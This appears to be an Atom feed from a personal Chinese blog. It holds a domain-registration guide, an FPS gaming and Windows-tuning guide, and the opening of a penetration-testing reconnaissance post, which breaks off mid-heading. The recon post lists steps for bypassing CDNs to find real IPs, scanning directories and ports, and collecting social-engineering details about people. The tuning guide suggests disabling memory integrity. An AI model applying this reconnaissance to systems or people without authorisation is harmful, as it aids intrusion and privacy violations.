<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <id>https://blog.emberlag.com/</id>
  <title type="text">Emberlag</title>
  <subtitle type="text">沉默观察员</subtitle>
  <updated>2026-11-04T00:00:00.000Z</updated>
  <author><name>3mb3rl4g</name></author>
  <link rel="alternate" href="https://blog.emberlag.com/"/>
  <link rel="self" href="https://blog.emberlag.com/atom.xml"/>
  <generator uri="https://github.com/CuteLeaf/Firefly">Firefly v6.16.9</generator>
    <entry>
      <id>https://blog.emberlag.com/posts/domain/</id>
      <title type="text">如何注册一个自己的域名</title>
      <published>2026-11-04T00:00:00.000Z</published>
      <updated>2026-11-04T00:00:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/domain/"/>
      <summary type="text">从挑名字、选注册商到付款完成，把喜欢的域名一步步拿到手。</summary>
      <content type="html"><![CDATA[<section><h2>什么是域名<a href="#什么是域名"><span>#</span></a></h2><p>域名就是网站在互联网上的门牌号。让人记住 <code>emberlag.com</code>，总比记住一串 IP 地址容易得多；而且有了域名，以后换服务器、换托管平台都不用再改对外地址。</p><p>所以动手之前先把名字想清楚——域名买完再改，成本会比想象中高。</p></section>
<section><h2>在哪里注册<a href="#在哪里注册"><span>#</span></a></h2><p>域名只能通过 <strong>注册商</strong> 注册。常见的有 Cloudflare Registrar、Namecheap、Porkbun、Spaceship 等，各家的价格和续费策略差别不小。</p><p>这里以 <a href="https://www.spaceship.com/zh/" target="_blank">Spaceship</a> 为例：它对国内用户比较友好，支持支付宝付款。</p></section>
<section><h2>如何注册<a href="#如何注册"><span>#</span></a></h2><ol>
<li>先在注册商那里注册一个账号（本文以 Spaceship 为例）。</li>
<li>登录后在搜索框里输入想要的域名。注意要买的是<strong>根域名</strong>，也就是 <code>xxxx.com</code> 这种形式，<strong>不要带 <code>www.</code></strong>——<code>www</code> 只是根域名下的一个子域名，不需要单独购买。</li>
</ol><p></p><figure><img src="https://img.emberlag.com/file/1793805644787_image.png" alt="image.png" /><figcaption>image.png</figcaption></figure><p></p><ol>
<li>如果还没被人注册，直接加入购物车；如果已被占用，就换个后缀或换个拼写再试。</li>
</ol><p></p><figure><img src="https://img.emberlag.com/file/1793805673267_image.png" alt="image.png" /><figcaption>image.png</figcaption></figure><p></p><ol>
<li>绑定支付方式。Spaceship 支持支付宝，选它最省事。</li>
</ol><p></p><figure><img src="https://img.emberlag.com/file/1793805709668_image.png" alt="image.png" /><figcaption>image.png</figcaption></figure><p></p><ol>
<li>付款完成后，域名就属于你了。接下来去 DNS 里把解析指向你的服务器或托管平台即可。</li>
</ol><blockquote><p>顺手把「自动续费」打开，或者给自己设个到期提醒。域名过期后虽然还有赎回期，但赎回价格通常高得离谱。</p></blockquote></section>
<section><h2>Tips<a href="#tips"><span>#</span></a></h2><ul>
<li><strong>别只看首年价格，重点看续费价格。</strong> 不少注册商首年白菜价、续费翻好几倍。</li>
<li>冷门后缀往往便宜很多，比如 <code>.xyz</code>、<code>.space</code>、<code>.cfd</code>；<code>.com</code> / <code>.cn</code> 更贵，但也更”正统”。</li>
<li>打算放在国内服务器上建站，域名一般还要<strong>实名认证</strong>和 <strong>ICP 备案</strong>；如果只是挂在 Cloudflare 这类境外平台上，通常不需要备案。</li>
<li>建议同时开启 <strong>WHOIS 隐私保护</strong>，免得手机号和邮箱被爬虫抓走。</li>
</ul></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/how-to-be-good-at-fps/</id>
      <title type="text">如何成为 FPS 游戏高手</title>
      <published>2026-10-27T16:17:00.000Z</published>
      <updated>2026-10-27T16:17:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/how-to-be-good-at-fps/"/>
      <summary type="text">从外设、系统调优到准星摆放与移动，一份从硬件到基本功的 FPS 上分全解。</summary>
      <content type="html"><![CDATA[<blockquote><p>本文是本人对 FPS 游戏的浅薄理解，带有强烈的主观色彩，请自行辨认内容的正确性。</p></blockquote>
<section><h2>一、FPS 理解的总体框架<a href="#一fps-理解的总体框架"><span>#</span></a></h2><section><h3>1.1 一句话概括<a href="#11-一句话概括"><span>#</span></a></h3><p>FPS 的胜负 = <strong>硬件下限</strong> × <strong>系统流畅度</strong> × <strong>基本功</strong> × <strong>信息与心态</strong>。</p><p>前两项决定你<strong>能不能打出该有的水平</strong>，后两项决定你<strong>能打到多高</strong>。绝大多数人卡在低分段，不是天赋问题，而是这四项里有一项长期漏风。</p></section><section><h3>1.2 两个方向<a href="#12-两个方向"><span>#</span></a></h3>

<table><thead><tr><th>方向</th><th>内容</th><th>作用</th></tr></thead><tbody><tr><td><strong>硬件（外设）</strong></td><td>显示器、鼠标、键盘、耳机、鼠标垫</td><td>决定操作精度的<strong>物理上限</strong></td></tr><tr><td><strong>软件（设置）</strong></td><td>系统精简、电源计划、显卡驱动</td><td>决定帧数与延迟的<strong>稳定性</strong></td></tr><tr><td><strong>基本功</strong></td><td>准星摆放、预瞄、移动、急停、听声辨位</td><td>决定<strong>对枪胜率</strong></td></tr><tr><td><strong>意识与复盘</strong></td><td>地图理解、信息判断、心态、Demo 复盘</td><td>决定<strong>上分高度</strong></td></tr></tbody></table></section><section><h3>1.3 常见误区<a href="#13-常见误区"><span>#</span></a></h3>

<table><thead><tr><th>误区</th><th>实际情况</th></tr></thead><tbody><tr><td>打得菜就换更贵的鼠标</td><td>传感器性能早已溢出，<strong>模具合手</strong>才是关键</td></tr><tr><td>一味追求 4K 高画质</td><td>FPS 优先帧数，<strong>1080p 高刷</strong>才是主流选择</td></tr><tr><td>灵敏度越低越准</td><td>太低会被身法拖死，要<strong>匹配你的鼠标垫与手臂空间</strong></td></tr><tr><td>用机械键盘更有”手感”</td><td>磁轴的<strong>快速触发与急停</strong>是实打实的性能优势</td></tr><tr><td>只练枪不练走位</td><td>多数对枪在你开枪前，<strong>位置就已经决定胜负</strong></td></tr></tbody></table><hr /></section></section>
<section><h2>二、硬件：外设<a href="#二硬件外设"><span>#</span></a></h2><blockquote><p>对其它类型游戏来说，外设影响有限；但对 FPS 来说，外设的重要性不亚于弓箭对于弓箭手。<strong>没有合适的外设，天生就低人一等。</strong></p></blockquote><section><h3>2.1 重要程度排序<a href="#21-重要程度排序"><span>#</span></a></h3>

<table><thead><tr><th>优先级</th><th>外设</th><th>核心理由</th></tr></thead><tbody><tr><td>★★★★★</td><td>显示器</td><td>决定你能看到多少、反应有多快</td></tr><tr><td>★★★★★</td><td>鼠标</td><td>唯一的瞄准输入设备，模具决定手感上限</td></tr><tr><td>★★★★</td><td>键盘</td><td>磁轴决定急停与身法响应速度</td></tr><tr><td>★★★</td><td>耳机</td><td>决定信息获取（脚步、换弹、道具）</td></tr><tr><td>★★</td><td>鼠标垫</td><td>影响一致性，够用即可</td></tr></tbody></table></section><section><h3>2.2 显示器<a href="#22-显示器"><span>#</span></a></h3><section><h4>先说结论（暴论）<a href="#先说结论暴论"><span>#</span></a></h4><p><strong>尺寸无脑选 24 寸，没有例外。</strong></p><p>超过 24 寸，你就无法靠眼球一次扫完整块屏幕，必须转头或转眼球，这就是<strong>多余动作</strong>。在 FPS 里，多余动作 = 慢一步 = 输。</p></section><section><h4>三个关键参数<a href="#三个关键参数"><span>#</span></a></h4>

<table><thead><tr><th>参数</th><th>说明</th><th>FPS 建议</th></tr></thead><tbody><tr><td><strong>尺寸</strong></td><td>屏幕对角线长度</td><td><strong>24 寸（24.5 寸为赛事标准）</strong></td></tr><tr><td><strong>刷新率</strong></td><td>每秒刷新次数，单位 Hz，144Hz 即每秒刷 144 次</td><td><strong>≥144Hz，能上 240Hz 更好</strong></td></tr><tr><td><strong>分辨率</strong></td><td>屏幕上像素点数量，同尺寸下越多越清晰</td><td><strong>1080p</strong>；高配且在意画质才 2K，<strong>不要更高</strong></td></tr></tbody></table></section><section><h4>面板类型<a href="#面板类型"><span>#</span></a></h4>

<table><thead><tr><th>面板</th><th>优点</th><th>缺点</th><th>结论</th></tr></thead><tbody><tr><td><strong>VA</strong></td><td>对比度高、便宜</td><td>天生拖影/鬼影</td><td><strong>直接淘汰</strong></td></tr><tr><td><strong>IPS</strong></td><td>色彩与速度均衡、可视角度好</td><td>漏光、对比度一般</td><td><strong>首选性价比</strong></td></tr><tr><td><strong>TN</strong></td><td>响应最快、便宜</td><td>色彩差、可视角度差</td><td><strong>可选</strong></td></tr><tr><td><strong>OLED（常被叫 LED）</strong></td><td>色彩好、响应极快、不漏光</td><td>可能烧屏、价格高</td><td><strong>有钱就上</strong></td></tr></tbody></table></section><section><h4>选购公式<a href="#选购公式"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>24 寸 + 1080p + ≥144Hz + IPS 或 TN（预算充足上 OLED）</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>还可以额外关注：</p><ul>
<li><strong>响应时间</strong>：GTG 1ms 级别即可，别只看营销数字</li>
<li><strong>拖影/过冲</strong>：看实测评测，OD（Overdrive）档位是否可调</li>
<li><strong>支架</strong>：必须能升降调高度，让屏幕中心与视线齐平</li>
<li><strong>接口</strong>：DP 优先，HDMI 高刷可能受限</li>
</ul></section></section><section><h3>2.3 鼠标<a href="#23-鼠标"><span>#</span></a></h3><section><h4>现状判断<a href="#现状判断"><span>#</span></a></h4><p>以前鼠标市场被<strong>罗技</strong>和<strong>雷蛇</strong>统治，卓威占一部分。随着国产鼠标崛起、罗技摆烂，目前<strong>最高的山是雷蛇</strong>。</p><p>但真正的问题是：<strong>这个时代传感器性能早就超出人类极限了</strong>。随便一个主流鼠标的性能都是溢出的，所以选购时<strong>只需要关注模具是否合手</strong>。</p><p>而模具这块，国产鼠标非常灵活，致敬了无数经典模具，再配上极致性价比——<strong>国产鼠标早就是答案了</strong>。</p></section><section><h4>关注点排序<a href="#关注点排序"><span>#</span></a></h4>

<table><thead><tr><th>关注点</th><th>说明</th></tr></thead><tbody><tr><td><strong>模具/握法</strong></td><td>趴握、抓握、指握，手长手宽决定选大中小号</td></tr><tr><td><strong>重量</strong></td><td>主流 40–60g，越轻越省力，但太轻需要适应</td></tr><tr><td><strong>无线延迟</strong></td><td>主流 2.4G 已接近有线，优先选带独立接收器的</td></tr><tr><td><strong>回报率</strong></td><td>1000Hz 够用，2000/4000Hz 需高刷屏与强 CPU 才吃得住，8000hz根本没用</td></tr><tr><td><strong>微动/滚轮</strong></td><td>手感与寿命，可换微动是加分项</td></tr><tr><td><strong>LOD</strong></td><td>静默高度，越低越不影响抬鼠</td></tr></tbody></table></section><section><h4>品牌建议<a href="#品牌建议"><span>#</span></a></h4><p><strong>ATK、雷柏、迈从、万灵、scyrox、兰族</strong>——通过不断”无理由退货”试出适合自己的模具即可。</p></section></section><section><h3>2.4 键盘<a href="#24-键盘"><span>#</span></a></h3><section><h4>结论<a href="#结论"><span>#</span></a></h4><p>键盘市场依旧被国产薄纱，目前<strong>已经是磁轴的天下</strong>。选任意一款国产大牌的<strong>磁轴入门款</strong>就 OK，同样是数值超模爆炸。</p><p>推荐看 <strong>ATK、迈从</strong>，性价比高。</p></section><section><h4>为什么是磁轴<a href="#为什么是磁轴"><span>#</span></a></h4><blockquote><p>磁轴不能帮你从青铜到王者，但可以帮你从铂金到钻石。</p></blockquote>

<table><thead><tr><th>对比项</th><th>机械轴</th><th>磁轴（霍尔效应）</th></tr></thead><tbody><tr><td><strong>触发方式</strong></td><td>物理触点，固定触发点</td><td>磁场感应，<strong>触发点可调</strong></td></tr><tr><td><strong>快速触发</strong></td><td>无</td><td><strong>RT（Rapid Trigger）</strong>，抬手即复位</td></tr><tr><td><strong>急停速度</strong></td><td>受键程限制</td><td><strong>0.1mm 级触发</strong>，急停更快</td></tr><tr><td><strong>回报率</strong></td><td>1000Hz 常见</td><td>1000–8000Hz</td></tr><tr><td><strong>寿命</strong></td><td>触点磨损</td><td>无触点，寿命更长</td></tr></tbody></table><p>同样的价格，为什么不选性能更强的磁轴，而去选过时的机械轴？</p></section><section><h4>关键设置<a href="#关键设置"><span>#</span></a></h4><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>触发点：0.1–0.5mm（WASD 可更低）</span></div></div><div><div><div>2</div></div><div><span>RT 快速触发：开启，灵敏度 0.1mm</span></div></div><div><div><div>3</div></div><div><span>回报率：1000Hz 起步，配置够就 4000/8000Hz</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3>2.5 耳机<a href="#25-耳机"><span>#</span></a></h3><p>虽说是因人而异，但经过亲身体会，<strong>耳机无脑选”飓风”就完事了</strong>（HyperX Cloud 系列）。国产耳机目前还不够强。</p><p>关注点：</p>

<table><thead><tr><th>关注点</th><th>说明</th></tr></thead><tbody><tr><td><strong>声场与定位</strong></td><td>能否清晰分辨脚步方向与距离</td></tr><tr><td><strong>佩戴舒适</strong></td><td>长时间佩戴不夹头、不闷耳</td></tr><tr><td><strong>麦克风</strong></td><td>队友能听清即可，不必追求直播级</td></tr><tr><td><strong>虚拟 7.1</strong></td><td>多数游戏内建 HRTF 更好，虚拟环绕不要开！</td></tr></tbody></table></section><section><h3>2.6 鼠标垫<a href="#26-鼠标垫"><span>#</span></a></h3><p>有影响，但影响不大。<strong>随便选一款入门基础口粮垫就可以了</strong>，其它的其实没有吹得那么神。</p><p>可以看看 <strong>fastpad、垃圾桶外设</strong> 等。</p>

<table><thead><tr><th>类型</th><th>特点</th><th>适合</th></tr></thead><tbody><tr><td><strong>布垫</strong></td><td>通用、耐用、性价比高</td><td>绝大多数人</td></tr><tr><td><strong>涂层垫</strong></td><td>更滑、更快，但寿命短</td><td>追求速度感</td></tr><tr><td><strong>玻璃/树脂</strong></td><td>极快、极稳，磨损脚贴</td><td>高阶玩家</td></tr></tbody></table><p>尺寸建议 <strong>450×400mm 起步</strong>，保证大范围拉枪不脱垫。</p><hr /></section></section>
<section><h2>三、软件：系统与驱动调优<a href="#三软件系统与驱动调优"><span>#</span></a></h2><blockquote><p>软件方面就是调整好自己的系统设置。Windows 默认带了很多玩家用不到的设置和服务，可以通过工具禁用掉，让电脑更流畅、更高帧。</p></blockquote><section><h3>3.1 影响最大的三项<a href="#31-影响最大的三项"><span>#</span></a></h3>

<table><thead><tr><th>项目</th><th>作用</th><th>优先级</th></tr></thead><tbody><tr><td><strong>电源计划</strong></td><td>防止 CPU 降频，稳定帧数</td><td>★★★★★</td></tr><tr><td><strong>显卡驱动</strong></td><td>降低延迟、关闭垂直同步与省电</td><td>★★★★★</td></tr><tr><td><strong>内存 XMP/EXPO</strong></td><td>一键解锁内存标称频率，提升 1% Low</td><td>★★★★★</td></tr></tbody></table></section><section><h3>3.2 系统精简清单<a href="#32-系统精简清单"><span>#</span></a></h3>

<table><thead><tr><th>项目</th><th>操作</th></tr></thead><tbody><tr><td><strong>鼠标加速</strong></td><td>关闭”提高指针精确度”，注册表 <code>MouseSpeed=0</code></td></tr><tr><td><strong>Game Bar / Xbox DVR</strong></td><td>卸载</td></tr><tr><td><strong>全屏优化</strong></td><td>对游戏 exe 关闭”全屏优化”</td></tr><tr><td><strong>VBS / 内存完整性</strong></td><td>关闭（会掉帧），确认无安全软件依赖</td></tr><tr><td><strong>后台服务</strong></td><td>禁用 SysMain、Windows Search 等非必要服务</td></tr><tr><td><strong>系统动画</strong></td><td>关闭窗口动画与透明效果</td></tr><tr><td><strong>Windows 更新</strong></td><td>打游戏时段暂停，避免后台占用</td></tr></tbody></table><p><strong>命令行版（管理员 PowerShell）：</strong></p><div><figure><figcaption><span></span><span>Terminal window</span></figcaption><pre><code><div><div><div>1</div></div><div><span># 开启"卓越性能"电源计划</span></div></div><div><div><div>2</div></div><div><span><span>powercfg </span><span>-</span><span>duplicatescheme e9a42b02</span><span>-</span><span>d5df</span><span>-</span></span><span>448d</span><span><span>-</span><span>aa00</span><span>-</span><span>03f14749eb61</span></span></div></div><div><div><div>3</div></div><div>
</div></div><div><div><div>4</div></div><div><span># 关闭鼠标加速</span></div></div><div><div><div>5</div></div><div><span>reg add </span><span>"HKCU\Control Panel\Mouse"</span><span><span> </span><span>/</span><span>v MouseSpeed </span><span>/</span><span>t REG_SZ </span><span>/</span><span>d </span></span><span>0</span><span><span> </span><span>/</span><span>f</span></span></div></div><div><div><div>6</div></div><div><span>reg add </span><span>"HKCU\Control Panel\Mouse"</span><span><span> </span><span>/</span><span>v MouseThreshold1 </span><span>/</span><span>t REG_SZ </span><span>/</span><span>d </span></span><span>0</span><span><span> </span><span>/</span><span>f</span></span></div></div><div><div><div>7</div></div><div><span>reg add </span><span>"HKCU\Control Panel\Mouse"</span><span><span> </span><span>/</span><span>v MouseThreshold2 </span><span>/</span><span>t REG_SZ </span><span>/</span><span>d </span></span><span>0</span><span><span> </span><span>/</span><span>f</span></span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>3.3 显卡驱动设置<a href="#33-显卡驱动设置"><span>#</span></a></h3>

<table><thead><tr><th>设置项</th><th>NVIDIA 建议</th><th>AMD 建议</th></tr></thead><tbody><tr><td><strong>垂直同步</strong></td><td>关闭</td><td>关闭</td></tr><tr><td><strong>低延迟模式</strong></td><td>高（配合 Reflex）</td><td>Anti-Lag 开启</td></tr><tr><td><strong>电源管理模式</strong></td><td>最高性能优先</td><td>最高性能</td></tr><tr><td><strong>纹理过滤质量</strong></td><td>高性能</td><td>性能</td></tr><tr><td><strong>三重缓冲</strong></td><td>关闭</td><td>关闭</td></tr><tr><td><strong>G-Sync/FreeSync</strong></td><td>高刷屏可开，配合帧数上限使用</td><td>同左</td></tr><tr><td><strong>着色器缓存</strong></td><td>开启（减少卡顿）</td><td>开启</td></tr></tbody></table><p>游戏内同时开启 <strong>NVIDIA Reflex / AMD Anti-Lag</strong>，可显著降低输入延迟。</p></section><section><h3>3.4 内存 XMP / EXPO<a href="#34-内存-xmp--expo"><span>#</span></a></h3><p>进 BIOS 打开 <strong>XMP（Intel）/ EXPO（AMD）</strong>，让内存跑到标称频率（如 6000MHz）。这是<strong>零成本提升 1% Low 帧</strong>的操作，很多人装机后一直没开。</p></section><section><h3>3.5 工具推荐<a href="#35-工具推荐"><span>#</span></a></h3>

<table><thead><tr><th>工具</th><th>用途</th></tr></thead><tbody><tr><td><strong>Win11 轻松设置</strong></td><td>一键关闭遥测、动画、冗余服务</td></tr><tr><td><strong>ZyperWin++</strong></td><td>系统精简与优化脚本集合</td></tr><tr><td><strong>DDU</strong></td><td>干净卸载显卡驱动后重装</td></tr><tr><td><strong>MSI Afterburner</strong></td><td>监控帧数、帧生成时间、温度</td></tr><tr><td><strong>CapFrameX</strong></td><td>记录帧时间曲线，排查卡顿</td></tr></tbody></table><blockquote><p>优化原则：<strong>只做可回滚的改动</strong>。改注册表前先导出备份，别用来路不明的”一键优化”。</p></blockquote><hr /></section></section>
<section><h2>四、基本功：FPS 的本质<a href="#四基本功fps-的本质"><span>#</span></a></h2><section><h3>4.1 核心概念：点小球<a href="#41-核心概念点小球"><span>#</span></a></h3><p><strong>FPS 游戏本质就是点小球：谁点得更快更准，谁就赢。其它一切，都是为了点得更快更准。</strong></p></section><section><h3>4.2 动作拆解<a href="#42-动作拆解"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>发现目标 → 移动鼠标把准星移到目标上 → 点击开火 → 击碎目标</span></div></div><div><div><div>2</div></div><div><span><span>   </span></span><span>（发现）        （瞄准）                （开火）</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>可以归为三步：<strong>发现、瞄准、开火</strong>。</p><p>人类反应时间约 <strong>150–250ms</strong>，而移动鼠标到目标还要额外时间。所以想赢，只有两条路：</p><ol>
<li><strong>缩短每一步的时间</strong>（硬件、灵敏度、训练）</li>
<li><strong>直接省掉某一步</strong>（准星摆放 + 预瞄）</li>
</ol></section><section><h3>4.3 准星摆放<a href="#43-准星摆放"><span>#</span></a></h3><section><h4>目的<a href="#目的"><span>#</span></a></h4><p>通过管理准星的位置，<strong>把”发现”和”瞄准”合并成一步</strong>，从而比对手更快开火。</p></section><section><h4>要求<a href="#要求"><span>#</span></a></h4><blockquote><p>全部时间都要注意自己的准星放在哪里。目标是：<strong>对面只要出现，就一定在你的准星上，你只需要点一下鼠标就能击杀。</strong></p></blockquote></section><section><h4>两条铁律<a href="#两条铁律"><span>#</span></a></h4>

<table><thead><tr><th>铁律</th><th>说明</th></tr></thead><tbody><tr><td><strong>守头线</strong></td><td>准星永远保持在人物头部高度</td></tr><tr><td><strong>守走向</strong></td><td>你要往哪走，准星就对着哪，让准星一直停在敌人可能出现的位置</td></tr></tbody></table><p>两者一合并，就是<strong>预瞄</strong>。</p></section></section><section><h3>4.4 头线<a href="#44-头线"><span>#</span></a></h3><p>FPS 游戏的人物模型通常是同一套复制粘贴的，<strong>人物高度完全一致</strong>。再加上第一视角的近大远小透视，<strong>所有人的头都在同一条水平线上</strong>。</p><p>所以平时把准星放在这条线上，遇到人就直接是头部高度，省掉”往上抬枪”这一步。</p><p>实际应用：</p><ul>
<li>贴墙走时，准星贴着墙角边缘的头线</li>
<li>过拐角时，准星提前放在拐角外侧的头线</li>
<li>上下坡、楼梯、箱子处要<strong>重新校准高度</strong></li>
</ul></section><section><h3>4.5 预瞄的两种形态<a href="#45-预瞄的两种形态"><span>#</span></a></h3>

<table><thead><tr><th>类型</th><th>做法</th><th>适用场景</th></tr></thead><tbody><tr><td><strong>走位预瞄</strong></td><td>准星始终对着你前进方向、敌人可能出现的位置</td><td>全程通用</td></tr><tr><td><strong>隔墙预瞄</strong></td><td>确定敌人位置或可能蹲伏点时，隔墙提前把准星移到位，走到位停下的瞬间准星正好在敌人头上</td><td>CS 系列、架点、拉角</td></tr></tbody></table><p>第二种是 CS 这类游戏的核心预瞄方式：<strong>你不是看到人才瞄准，而是走到位时准星已经在人头上。</strong></p></section><section><h3>4.6 移动的本质：近大远小<a href="#46-移动的本质近大远小"><span>#</span></a></h3><p>FPS 存在透视：<strong>离掩体越近的人，看到的掩体越大、看到的其他画面越少；离掩体越远的人，看到的掩体越小、看到的画面越多。</strong></p><p>由此推出一个重要结论：</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>你贴着掩体蹲下 → 敌人从最远离掩体的角度一点点蹭过来</span></div></div><div><div><div>2</div></div><div><span>→ 敌人先看到你，而你的视角里还看不见他</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p>这就是近大远小的实战体现：<strong>贴墙的人视野更窄，拉远角的人先手。</strong></p><section><h4>移动原则<a href="#移动原则"><span>#</span></a></h4>

<table><thead><tr><th>原则</th><th>说明</th></tr></thead><tbody><tr><td><strong>走远角</strong></td><td>尽量从离敌人掩体最远的角度走，先看到对方</td></tr><tr><td><strong>积极找掩体</strong></td><td>遭遇战第一时间能进掩体反击，而不是原地对枪</td></tr><tr><td><strong>少走开阔地</strong></td><td>暴露面越大，被多个角度同时看到的概率越高</td></tr><tr><td><strong>过点不停留</strong></td><td>危险路口一次过完，别在中间犹豫</td></tr></tbody></table><hr /></section></section></section>
<section><h2>五、进阶补全<a href="#五进阶补全"><span>#</span></a></h2><section><h3>5.1 灵敏度与 eDPI<a href="#51-灵敏度与-edpi"><span>#</span></a></h3><p><strong>eDPI = 鼠标 DPI × 游戏内灵敏度</strong>，它才是跨设备可比的真实灵敏度。</p>

<table><thead><tr><th>项目</th><th>建议</th></tr></thead><tbody><tr><td><strong>DPI</strong></td><td>400 / 800 / 1600 都可以，选一个固定不动</td></tr><tr><td><strong>eDPI 区间</strong></td><td>CS 类常见 <strong>600–1200</strong>；Apex 类偏高</td></tr><tr><td><strong>调整方法</strong></td><td>从高往低降，直到能稳定完成 180° 转身不抬鼠</td></tr><tr><td><strong>一致性</strong></td><td>所有 FPS 尽量统一”厘米/360°“，形成肌肉记忆</td></tr></tbody></table></section><section><h3>5.2 急停与身法<a href="#52-急停与身法"><span>#</span></a></h3>

<table><thead><tr><th>技术</th><th>要点</th></tr></thead><tbody><tr><td><strong>急停</strong></td><td>移动中反向按一下，停稳再开枪；磁轴 RT 让抬手即停</td></tr><tr><td><strong>干拉</strong></td><td>不Peek直接拉出，风险高，用于信息明确的地方破坏敌人的预瞄</td></tr><tr><td><strong>peek</strong></td><td>先露一小条身位骗枪，收集敌人位置信息，再决定是否完整拉出</td></tr><tr><td><strong>蹲拉</strong></td><td>拉出瞬间下蹲，改变头部高度，打乱对方头线预瞄</td></tr><tr><td><strong>跳拉</strong></td><td>利用跳跃改变弹道与命中判定，多用于进攻方</td></tr></tbody></table></section><section><h3>5.3 听声辨位<a href="#53-听声辨位"><span>#</span></a></h3>

<table><thead><tr><th>声音类型</th><th>信息</th></tr></thead><tbody><tr><td><strong>脚步</strong></td><td>方向、距离、是否在跑</td></tr><tr><td><strong>换弹</strong></td><td>对方弹匣空窗期，可强拉</td></tr><tr><td><strong>道具</strong></td><td>烟雾/闪光/燃烧弹的使用意图</td></tr><tr><td><strong>落地</strong></td><td>高处跳下的位置与时机</td></tr></tbody></table><p>听声的前提是<strong>耳机定位准确 + 游戏内 HRTF 设置正确</strong>，别开虚拟 7.1 。</p></section><section><h3>5.4 训练与复盘<a href="#54-训练与复盘"><span>#</span></a></h3>

<table><thead><tr><th>环节</th><th>做法</th></tr></thead><tbody><tr><td><strong>热身</strong></td><td>10 分钟死斗或 Aim Lab / KovaaK’s，唤醒手感</td></tr><tr><td><strong>专项</strong></td><td>每天 15 分钟跟踪训练 + 15 分钟甩枪训练</td></tr><tr><td><strong>实战</strong></td><td>死斗练对枪，排位练决策，两者分开练</td></tr><tr><td><strong>复盘</strong></td><td>看自己的 Demo，只找<strong>死亡原因</strong>：位置？预瞄？信息？</td></tr><tr><td><strong>记录</strong></td><td>记下每次死亡归类，一周统计一次，针对性改一个点</td></tr></tbody></table></section><section><h3>5.5 心态<a href="#55-心态"><span>#</span></a></h3><ul>
<li>连败三把就停，情绪上头时决策质量断崖式下降</li>
<li>只关注<strong>自己能控制的事</strong>：预瞄、走位、信息，而不是队友</li>
<li>上分是<strong>长期均值</strong>，单局胜负不说明任何问题</li>
</ul></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.emberlag.com/posts/information-gathering/</id>
      <title type="text">信息收集</title>
      <published>2026-10-24T15:12:00.000Z</published>
      <updated>2026-10-24T15:12:00.000Z</updated>
      <author><name>3mb3rl4g</name></author>
      <link rel="alternate" href="https://blog.emberlag.com/posts/information-gathering/"/>
      <summary type="text">从域名、IP、指纹到社工信息，渗透测试前期信息收集的完整思路与常用工具。</summary>
      <content type="html"><![CDATA[<section><h2>一、信息收集概述<a href="#一信息收集概述"><span>#</span></a></h2><section><h3>1.1 什么是信息收集？<a href="#11-什么是信息收集"><span>#</span></a></h3><p>信息收集是渗透测试的<strong>第一步</strong>，目的是找到目标系统的<strong>所有资产和攻击面</strong>（可能的脆弱点）。</p></section><section><h3>1.2 常见问题速查<a href="#12-常见问题速查"><span>#</span></a></h3>

<table><thead><tr><th>问题</th><th>答案要点</th></tr></thead><tbody><tr><td>拿到一个网站首先做什么？</td><td><strong>信息收集</strong></td></tr><tr><td>信息收集分类？</td><td><strong>主动</strong>和<strong>被动</strong></td></tr><tr><td>信息收集需要做些什么？</td><td><strong>技术</strong>和<strong>社工</strong>两个层面</td></tr></tbody></table></section><section><h3>1.3 任务类型<a href="#13-任务类型"><span>#</span></a></h3>

<table><thead><tr><th>类型</th><th>目标</th></tr></thead><tbody><tr><td><strong>找漏洞型</strong></td><td>给 IP/域名/页面，找漏洞</td></tr><tr><td><strong>找资产型</strong></td><td>给单位名称，找所有下属网站的漏洞</td></tr></tbody></table><hr /></section></section>
<section><h2>二、信息收集思路<a href="#二信息收集思路"><span>#</span></a></h2><section><h3>2.1 针对具体某个网站或 IP<a href="#21-针对具体某个网站或-ip"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 翻页面，找可能的漏洞利用点</span></div></div><div><div><div>2</div></div><div><span>2. 找真实 IP（CDN 绕过）</span></div></div><div><div><div>3</div></div><div><span>3. 找网站源码</span></div></div><div><div><div>4</div></div><div><span>4. 扫敏感目录和文件（含后台）</span></div></div><div><div><div>5</div></div><div><span>5. 扫危险请求方式</span></div></div><div><div><div>6</div></div><div><span>6. 扫端口（+ 识别 OS）</span></div></div><div><div><div>7</div></div><div><span>7. 找旁站（C段、子域名）</span></div></div><div><div><div>8</div></div><div><span>8. 找供应链</span></div></div><div><div><div>9</div></div><div><span>9. 社工信息搜集（名字、联系方式等）</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.2 针对某个单位或集团<a href="#22-针对某个单位或集团"><span>#</span></a></h3><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>1. 搜集信息资产</span></div></div><div><div><div>2</div></div><div><span><span>   </span></span><span>├── 找子域名（扫描、爬虫、证书透明度）</span></div></div><div><div><div>3</div></div><div><span><span>   </span></span><span>├── 找真实 IP（CDN 绕过）</span></div></div><div><div><div>4</div></div><div><span><span>   </span></span><span>├── 扫端口服务</span></div></div><div><div><div>5</div></div><div><span><span>   </span></span><span>├── 扫危险请求方式</span></div></div><div><div><div>6</div></div><div><span><span>   </span></span><span>├── 扫敏感目录和文件</span></div></div><div><div><div>7</div></div><div><span><span>   </span></span><span>└── 识别 CMS</span></div></div><div><div><div>8</div></div><div><span>2. 翻页面功能，尝试漏洞利用</span></div></div><div><div><div>9</div></div><div><span>3. 找供应链</span></div></div><div><div><div>10</div></div><div><span>4. 收集社工信息（whois、网页信息、源码信息）</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3>2.3 攻击面分类<a 